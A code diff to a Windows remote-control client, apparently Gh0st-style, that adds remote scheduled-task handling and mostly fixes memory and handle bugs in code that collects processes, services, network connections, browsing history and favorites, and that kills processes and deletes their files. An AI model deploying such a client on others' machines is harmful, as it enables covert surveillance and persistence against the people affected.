diff --git a/client/MachineManager.cpp b/client/MachineManager.cpp index baa1d48..cb89ea5 100644 --- a/client/MachineManager.cpp +++ b/client/MachineManager.cpp @@ -122,6 +122,23 @@ void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize) case COMMAND_MACHINE_TASK: GetRoot(); break; + // 计划任务动作:lpBuffer+1 起是 NUL 结尾的窄字符串(服务端按 MultiByte 组包) + case COMMAND_TASKSTART: + RunOrStopTask(lpBuffer + 1, TRUE); + GetRoot(); + break; + case COMMAND_TASKSTOP: + RunOrStopTask(lpBuffer + 1, FALSE); + GetRoot(); + break; + case COMMAND_TASKDEL: + DelTask(lpBuffer + 1); + GetRoot(); + break; + case COMMAND_TASKCREAT: + CreateTask(lpBuffer + 1); + GetRoot(); + break; case COMMAND_MACHINE_HOSTS: SendHostsList(); break; @@ -190,8 +207,13 @@ void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize) DebugPrivilege(SE_DEBUG_NAME, TRUE); char strProcessName[MAX_PATH] = { 0 }; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); + if (hProcess == NULL) { + DebugPrivilege(SE_DEBUG_NAME, FALSE); + break; + } GetModuleFileNameEx(hProcess, NULL, strProcessName, MAX_PATH); - if (lpBuffer[1]) { + // PID 的第 2~4 字节非零时也要删除:只看 lpBuffer[1] 会把低字节为 0 的 PID 漏掉 + if (*(LPDWORD)(lpBuffer + 1) != 0) { char Tem_path[MAX_PATH]; char path_one[MAX_PATH]; char path_two[MAX_PATH]; @@ -218,10 +240,10 @@ void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize) DeleteFile(path_one); //删除目录(目录) Sleep(200); if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出 - return; + break; n++; if (n >= 10) //无法删除 一段时间后退出 - return; + break; } } CloseHandle(hProcess); @@ -282,11 +304,13 @@ void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize) while (b) { if (th32.th32OwnerProcessID == Pid) { HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID); - ::ResumeThread(oth); - CloseHandle(oth); - break; + if (oth) { + ::ResumeThread(oth); + CloseHandle(oth); + } } - ::Thread32Next(hThreadSnap, &th32); + // 冻结挂起了全部线程,解冻也必须逐个恢复;这里不能 break,否则进程只会恢复一个线程 + b = ::Thread32Next(hThreadSnap, &th32); } ::CloseHandle(hThreadSnap); } @@ -554,7 +578,11 @@ LPBYTE CMachineManager::getProcessList() pe32.dwSize = sizeof(PROCESSENTRY32); lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); - + if (lpBuffer == NULL) { + CloseHandle(hSnapshot); + DebugPrivilege(SE_DEBUG_NAME, FALSE); + return NULL; + } lpBuffer[0] = TOKEN_MACHINE_PROCESS; dwOffset = 1; @@ -572,6 +600,8 @@ LPBYTE CMachineManager::getProcessList() if ((pe32.th32ProcessID != 0) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) { EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); + // 每次循环都要清空:DosPathToNtPath 失败时不能沿用上一个进程的路径 + memset(strProcessName, 0, sizeof(strProcessName)); if (0 == GetProcessImageFileName(hProcess, szImagePath, MAX_PATH)) { lstrcpy(strProcessName, _T("---")); } else if (!DosPathToNtPath(szImagePath, strProcessName)) { @@ -590,8 +620,15 @@ LPBYTE CMachineManager::getProcessList() dwLength = sizeof(DWORD) * 5 + sizeof(bool) + MAX_PATH * sizeof(char) + lstrlen(pe32.szExeFile) * sizeof(char) + lstrlen(strProcessName) * sizeof(char) + lstrlen(strProcessUser) * sizeof(char) + 6; // 缓冲区太小,再重新分配下 - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) { + // 扩容失败时原缓冲区仍然有效,结束收集并返回已拿到的记录 + CloseHandle(hProcess); + break; + } + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); @@ -653,7 +690,11 @@ LPBYTE CMachineManager::getProcessList() } while (Process32Next(hSnapshot, &pe32)); } - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpBuffer = lpNew; + } DebugPrivilege(SE_DEBUG_NAME, FALSE); CloseHandle(hSnapshot); @@ -687,6 +728,13 @@ LPBYTE CMachineManager::getWindowsList() { LPBYTE lpBuffer = NULL; EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer); + if (lpBuffer == NULL) { + // 一个可见窗口都没有时回调不会分配缓冲区:仍要回一个只带令牌的包, + // 否则下面写 lpBuffer[0] 就是空指针写,客户端会崩溃。 + lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); + if (lpBuffer == NULL) + return NULL; + } lpBuffer[0] = TOKEN_MACHINE_WINDOWS; return lpBuffer; } @@ -739,13 +787,18 @@ bool CALLBACK CMachineManager::EnumWindowsProc(HWND hwnd, LPARAM lParam) ::GetWindowText(hwnd, m_ibfo.strTitle, 1024); if (lpBuffer == NULL) { - lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); dwOffset = 1; + lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwOffset + sizeof(WINDOWSINFO)); + if (lpBuffer == NULL) + return true; } else { dwOffset = (DWORD)LocalSize(lpBuffer); + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + sizeof(WINDOWSINFO), LMEM_ZEROINIT | LMEM_MOVEABLE); + // 分配失败时原缓冲区仍然有效,不能把指针覆盖成 NULL + if (lpNew == NULL) + return true; + lpBuffer = lpNew; } - - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + sizeof(WINDOWSINFO), LMEM_ZEROINIT | LMEM_MOVEABLE); } catch (...) { return true; } @@ -853,8 +906,15 @@ LPBYTE CMachineManager::getSoftWareList() // 缓冲区太小,再重新分配下 dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) * sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11; - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) { + // 扩容失败时原缓冲区仍然有效,跳过这一条并结束枚举 + RegCloseKey(hSubKey); + break; + } + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2); dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2; @@ -870,11 +930,13 @@ LPBYTE CMachineManager::getSoftWareList() memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2); dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2; + RegCloseKey(hSubKey); } } } } else { - return FALSE; //打开键失败 + LocalFree(lpBuffer); + return NULL; //打开键失败 } RegCloseKey(hKey); @@ -898,6 +960,7 @@ LPBYTE CMachineManager::getSoftWareList() // 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem" RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize); if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息 + RegCloseKey(hSubKey); continue; } @@ -935,8 +998,15 @@ LPBYTE CMachineManager::getSoftWareList() // 缓冲区太小,再重新分配下 dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) * sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11; - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) { + // 扩容失败时原缓冲区仍然有效,跳过这一条并结束枚举 + RegCloseKey(hSubKey); + break; + } + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2); dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2; @@ -952,15 +1022,23 @@ LPBYTE CMachineManager::getSoftWareList() memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2); dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2; + RegCloseKey(hSubKey); } } } - } else - return FALSE; //打开键失败 + } else { + //打开键失败 + LocalFree(lpBuffer); + return NULL; + } RegCloseKey(hKey); } - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpBuffer = lpNew; + } return lpBuffer; } @@ -991,6 +1069,12 @@ LPBYTE CMachineManager::getIEHistoryList() DWORD dwOffset = 1; DWORD dwLength = 0; lpBuffer = (LPBYTE)LocalAlloc(LPTR, 10000); + if (lpBuffer == NULL) { + if (SUCCEEDED(hr) && puhs != NULL) + puhs->Release(); + CoUninitialize(); + return NULL; + } lpBuffer[0] = TOKEN_MACHINE_HTML; Browsinghistory m_Browsinghistory; dwLength = sizeof(Browsinghistory); @@ -1012,12 +1096,20 @@ LPBYTE CMachineManager::getIEHistoryList() SYSTEMTIME st; if (&su.ftLastVisited != NULL) { FileTimeToSystemTime(&su.ftLastVisited, &st); - wsprintf(m_Browsinghistory.strTime, _T("%d-%d-%d %d:%d:%d"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wSecond, st.wMinute); + wsprintf(m_Browsinghistory.strTime, _T("%d-%02d-%02d %02d:%02d:%02d"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); } else { wsprintf(m_Browsinghistory.strTime, _T("---")); } - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) { + // 扩容失败时原缓冲区仍然有效,停止收集,返回已拿到的记录 + CoTaskMemFree(su.pwcsUrl); + CoTaskMemFree(su.pwcsTitle); + break; + } + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, &m_Browsinghistory, sizeof(Browsinghistory)); dwOffset += sizeof(Browsinghistory); @@ -1028,11 +1120,15 @@ LPBYTE CMachineManager::getIEHistoryList() su.pwcsTitle = nullptr; } pesu->Release(); - puhs->Release(); } + puhs->Release(); } CoUninitialize(); - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpBuffer = lpNew; + } return lpBuffer; } @@ -1053,15 +1149,22 @@ void CMachineManager::FindFavoritesUrl(char* searchfilename, PBYTE &lpFUBuffer, char tmpPath[MAX_PATH] = { 0 }; DWORD dwFULength = 0; - lstrcat(favpath, searchfilename); + // 拼接要限长:收藏夹目录较深时 searchfilename 可能已接近 MAX_PATH + if (lstrlen(searchfilename) + 4 >= MAX_PATH) + return; + lstrcpyn(favpath, searchfilename, MAX_PATH - 4); lstrcat(favpath, _T("\\*.*")); WIN32_FIND_DATA fd; ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); HANDLE hFind = FindFirstFile(favpath, &fd); // 文件后缀都是 url + if (hFind == INVALID_HANDLE_VALUE) + return; do { if (fd.cFileName[0] != _T('.')) { + if (lstrlen(searchfilename) + 1 + lstrlen(fd.cFileName) >= MAX_PATH) + continue; lstrcpy(tmpPath, searchfilename); lstrcat(tmpPath, _T("\\")); lstrcat(tmpPath, fd.cFileName); @@ -1074,8 +1177,13 @@ void CMachineManager::FindFavoritesUrl(char* searchfilename, PBYTE &lpFUBuffer, dwFULength = lstrlen(buf) * sizeof(char) + lstrlen(fd.cFileName) * sizeof(char) + 4; - if (LocalSize(lpFUBuffer) < (dwFUOffset + dwFULength)) - lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, (dwFUOffset + dwFULength) + 1024, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpFUBuffer) < (dwFUOffset + dwFULength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpFUBuffer, (dwFUOffset + dwFULength) + 1024, LMEM_ZEROINIT | LMEM_MOVEABLE); + // 扩容失败时原缓冲区仍然有效:跳过这条记录,不能让指针变成 NULL + if (lpNew == NULL) + continue; + lpFUBuffer = lpNew; + } memcpy(lpFUBuffer + dwFUOffset, fd.cFileName, lstrlen(fd.cFileName) * sizeof(char) + 2); dwFUOffset += lstrlen(fd.cFileName) * sizeof(char) + 2; @@ -1094,21 +1202,32 @@ LPBYTE CMachineManager::getFavoritesUrlList() char favpath[MAX_PATH] = { 0 }; // 从注册表获取收藏夹所在位置 - HKEY hKEY; + HKEY hKEY = NULL; DWORD type = REG_SZ; LPCTSTR path = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"); - DWORD cbData = 80; - ::RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKEY); - ::RegQueryValueEx(hKEY, _T("Favorites"), NULL, &type, (LPBYTE)favpath, &cbData); - ::RegCloseKey(hKEY); + DWORD cbData = sizeof(favpath); + // RegOpenKeyEx 失败时 hKEY 是无效值,不能再拿它查值/关闭 + if (::RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKEY) == ERROR_SUCCESS) { + if (::RegQueryValueEx(hKEY, _T("Favorites"), NULL, &type, (LPBYTE)favpath, &cbData) != ERROR_SUCCESS) + favpath[0] = 0; + ::RegCloseKey(hKEY); + } + favpath[MAX_PATH - 1] = 0; LPBYTE lpFUBuffer = (LPBYTE)LocalAlloc(LPTR, 10000); + if (lpFUBuffer == NULL) + return NULL; lpFUBuffer[0] = TOKEN_MACHINE_FAVORITES; int dwFUOffset = 1; - FindFavoritesUrl(favpath, lpFUBuffer, dwFUOffset); + if (favpath[0] != 0) + FindFavoritesUrl(favpath, lpFUBuffer, dwFUOffset); - lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, dwFUOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpFUBuffer, dwFUOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpFUBuffer = lpNew; + } return lpFUBuffer; } @@ -1141,15 +1260,30 @@ LPBYTE CMachineManager::getServiceList(DWORD dwScType) DWORD dwSize = 1024 * 8; sc = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (sc == NULL) { + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return NULL; + } //第一次调用来得到需要多大的内存区 EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL); //申请需要的内存 lpServices = (LPENUM_SERVICE_STATUS)LocalAlloc(LPTR, size); + if (lpServices == NULL) { + CloseServiceHandle(sc); + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return NULL; + } EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL); // 申请Buffer内存 lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(char)); + if (lpBuffer == NULL) { + LocalFree(lpServices); + CloseServiceHandle(sc); + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return NULL; + } lpBuffer[0] = TOKEN_MACHINE_SERVICE_LIST; dwOffset = 1; @@ -1166,7 +1300,7 @@ LPBYTE CMachineManager::getServiceList(DWORD dwScType) // 描述 memset(lpDescription, 0, sizeof(lpDescription)); if (((LPSERVICE_DESCRIPTION)szInfo)->lpDescription != NULL) - lstrcpy(lpDescription, ((LPSERVICE_DESCRIPTION)szInfo)->lpDescription); + lstrcpyn(lpDescription, ((LPSERVICE_DESCRIPTION)szInfo)->lpDescription, sizeof(lpDescription)); // 状态 memset(strState, 0, sizeof(strState)); @@ -1200,6 +1334,7 @@ LPBYTE CMachineManager::getServiceList(DWORD dwScType) ZeroMemory(szInfo, dwSize); dwSize = 1024 * 8; if (!QueryServiceConfig(sh, (LPQUERY_SERVICE_CONFIG)szInfo, dwSize, &dwSize)) { + CloseServiceHandle(sh); continue; } // 启动类型 @@ -1234,8 +1369,15 @@ LPBYTE CMachineManager::getServiceList(DWORD dwScType) //========================================================================================== // 缓冲区太小,再重新分配下 - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + // 扩容失败时原缓冲区仍然有效,保留已收集的记录并结束枚举 + if (lpNew == NULL) { + CloseServiceHandle(sh); + break; + } + lpBuffer = lpNew; + } // 显示名称 memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char)); @@ -1277,8 +1419,14 @@ LPBYTE CMachineManager::getServiceList(DWORD dwScType) } CloseServiceHandle(sc); + LocalFree(lpServices); - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + { + // 收缩到实际长度;失败时原缓冲区仍有效,直接按原大小返回 + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpBuffer = lpNew; + } EnablePrivilege(SE_DEBUG_NAME, FALSE); return lpBuffer; } @@ -1303,7 +1451,16 @@ void CMachineManager::SendHostsList() if (hFile == INVALID_HANDLE_VALUE) return; dwSize = GetFileSize(hFile, NULL); + // GetFileSize 失败返回 INVALID_FILE_SIZE:不加判断会按 0xFFFFFFFF 分配并读入 + if (dwSize == INVALID_FILE_SIZE) { + CloseHandle(hFile); + return; + } lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwSize + 2); + if (lpBuffer == NULL) { + CloseHandle(hFile); + return; + } if (!ReadFile(hFile, lpBuffer + 1, dwSize, &dwRead, NULL)) { LocalFree(lpBuffer); CloseHandle(hFile); @@ -1320,6 +1477,8 @@ void CMachineManager::SendHostsList() LPBYTE CMachineManager::getNetStateList() { LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); + if (lpBuffer == NULL) + return NULL; lpBuffer[0] = TOKEN_MACHINE_NETSTATE; DWORD dwOffset = 1; DWORD dwLength = 0; @@ -1329,36 +1488,52 @@ LPBYTE CMachineManager::getNetStateList() // 获取扩展函数的入口地址 HMODULE hModule = ::LoadLibrary(_T("iphlpapi.dll")); - pAllocateAndGetTcpExTableFromStack = + pAllocateAndGetTcpExTableFromStack = hModule == NULL ? NULL : (PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule, "AllocateAndGetTcpExTableFromStack"); - pAllocateAndGetUdpExTableFromStack = + pAllocateAndGetUdpExTableFromStack = hModule == NULL ? NULL : (PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule, "AllocateAndGetUdpExTableFromStack"); - if (pAllocateAndGetTcpExTableFromStack != NULL || pAllocateAndGetUdpExTableFromStack != NULL) { + // 两个导出函数要么都有(XP/2003)、要么都没有(Vista+):用 && 避免只匹配到一个时空指针调用 + if (pAllocateAndGetTcpExTableFromStack != NULL && pAllocateAndGetUdpExTableFromStack != NULL) { // 调用扩展函数,获取TCP扩展连接表和UDP扩展监听表 - PMIB_TCPEXTABLE pTcpExTable; - PMIB_UDPEXTABLE pUdpExTable; + PMIB_TCPEXTABLE pTcpExTable = NULL; + PMIB_UDPEXTABLE pUdpExTable = NULL; // pTcpExTable和pUdpExTable所指的缓冲区自动由扩展函数在进程堆中申请 if (pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) { + if (pTcpExTable) + ::HeapFree(GetProcessHeap(), 0, pTcpExTable); + ::FreeLibrary(hModule); + LocalFree(lpBuffer); return NULL; } if (pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) { + if (pTcpExTable) + ::HeapFree(GetProcessHeap(), 0, pTcpExTable); + if (pUdpExTable) + ::HeapFree(GetProcessHeap(), 0, pUdpExTable); + ::FreeLibrary(hModule); + LocalFree(lpBuffer); return NULL; } // 给系统内的所有进程拍一个快照 HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { + if (pTcpExTable) + ::HeapFree(GetProcessHeap(), 0, pTcpExTable); + if (pUdpExTable) + ::HeapFree(GetProcessHeap(), 0, pUdpExTable); + ::FreeLibrary(hModule); + LocalFree(lpBuffer); return NULL; } char szLocalAddr[128]; char szRemoteAddr[128]; - char szProcessName[128]; in_addr inadLocal, inadRemote; char strState[128]; DWORD dwRemotePort = 0; @@ -1427,13 +1602,17 @@ LPBYTE CMachineManager::getNetStateList() // 打印出此入口的信息 char strProcessName[100] = { 0 }; const char* strType = _T("[TCP]"); - lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, szProcessName)); + ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, strProcessName, sizeof(strProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) * sizeof(char) + 12; - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) + break; // 扩容失败时保留原缓冲区,已收集的记录照常返回 + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; @@ -1465,14 +1644,18 @@ LPBYTE CMachineManager::getNetStateList() const char* strType = _T("[UDP]"); const char* szRemoteAddr = _T("*.*.*.*:*"); const char* szUDPState = _T(" "); - lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName)); + ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, strProcessName, sizeof(strProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) * sizeof(char) + 12; - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) + break; // 扩容失败时保留原缓冲区,已收集的记录照常返回 + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; @@ -1493,28 +1676,43 @@ LPBYTE CMachineManager::getNetStateList() dwOffset += lstrlen(szUDPState) * sizeof(char) + 2; } ::CloseHandle(hProcessSnap); - ::LocalFree(pTcpExTable); - ::LocalFree(pUdpExTable); + // 扩展表是扩展函数在 GetProcessHeap() 上用 HeapAlloc 申请的,应对应用 HeapFree 释放 + if (pTcpExTable) + ::HeapFree(GetProcessHeap(), 0, pTcpExTable); + if (pUdpExTable) + ::HeapFree(GetProcessHeap(), 0, pUdpExTable); ::FreeLibrary(hModule); } else { char szLocalAddr[128]; char szRemoteAddr[128]; - char szProcessName[128]; in_addr inadLocal, inadRemote; char strState[128]; DWORD dwRemotePort = 0; - PMIB_TCPEXTABLE_VISTA pTcpTable_Vista; - _InternalGetTcpTable2 pGetTcpTable = (_InternalGetTcpTable2)GetProcAddress(hModule, "InternalGetTcpTable2"); - if (pGetTcpTable == NULL) + PMIB_TCPEXTABLE_VISTA pTcpTable_Vista = NULL; + _InternalGetTcpTable2 pGetTcpTable = hModule == NULL ? NULL : + (_InternalGetTcpTable2)GetProcAddress(hModule, "InternalGetTcpTable2"); + if (pGetTcpTable == NULL) { + ::FreeLibrary(hModule); + LocalFree(lpBuffer); return 0; + } - if (pGetTcpTable(&pTcpTable_Vista, GetProcessHeap(), 1)) + if (pGetTcpTable(&pTcpTable_Vista, GetProcessHeap(), 1)) { + if (pTcpTable_Vista) + ::HeapFree(GetProcessHeap(), 0, pTcpTable_Vista); + ::FreeLibrary(hModule); + LocalFree(lpBuffer); return 0; + } // 给系统内的所有进程拍一个快照 HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { + if (pTcpTable_Vista) + ::HeapFree(GetProcessHeap(), 0, pTcpTable_Vista); + ::FreeLibrary(hModule); + LocalFree(lpBuffer); return NULL; } @@ -1580,13 +1778,17 @@ LPBYTE CMachineManager::getNetStateList() // 打印出此入口的信息 char strProcessName[100] = { 0 }; const char* strType = _T("[TCP]"); - lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpTable_Vista->table[i].dwProcessId, szProcessName)); + ProcessPidToName(hProcessSnap, pTcpTable_Vista->table[i].dwProcessId, strProcessName, sizeof(strProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) * sizeof(char) + 12; - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) + break; // 扩容失败时保留原缓冲区,已收集的记录照常返回 + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; @@ -1610,7 +1812,7 @@ LPBYTE CMachineManager::getNetStateList() PMIB_UDPEXTABLE pUdpExTable = NULL; // 表明为 Vista 或者 7 操作系统 PFNInternalGetUdpTableWithOwnerPid pInternalGetUdpTableWithOwnerPid; - pInternalGetUdpTableWithOwnerPid = + pInternalGetUdpTableWithOwnerPid = hModule == NULL ? NULL : (PFNInternalGetUdpTableWithOwnerPid)GetProcAddress(hModule, "InternalGetUdpTableWithOwnerPid"); if (pInternalGetUdpTableWithOwnerPid != NULL) { if (pInternalGetUdpTableWithOwnerPid(&pUdpExTable, GetProcessHeap(), 1)) { @@ -1618,8 +1820,12 @@ LPBYTE CMachineManager::getNetStateList() HeapFree(GetProcessHeap(), 0, pUdpExTable); } + ::CloseHandle(hProcessSnap); + if (pTcpTable_Vista) + ::HeapFree(GetProcessHeap(), 0, pTcpTable_Vista); FreeLibrary(hModule); hModule = NULL; + LocalFree(lpBuffer); return 0; } @@ -1636,13 +1842,17 @@ LPBYTE CMachineManager::getNetStateList() const char* 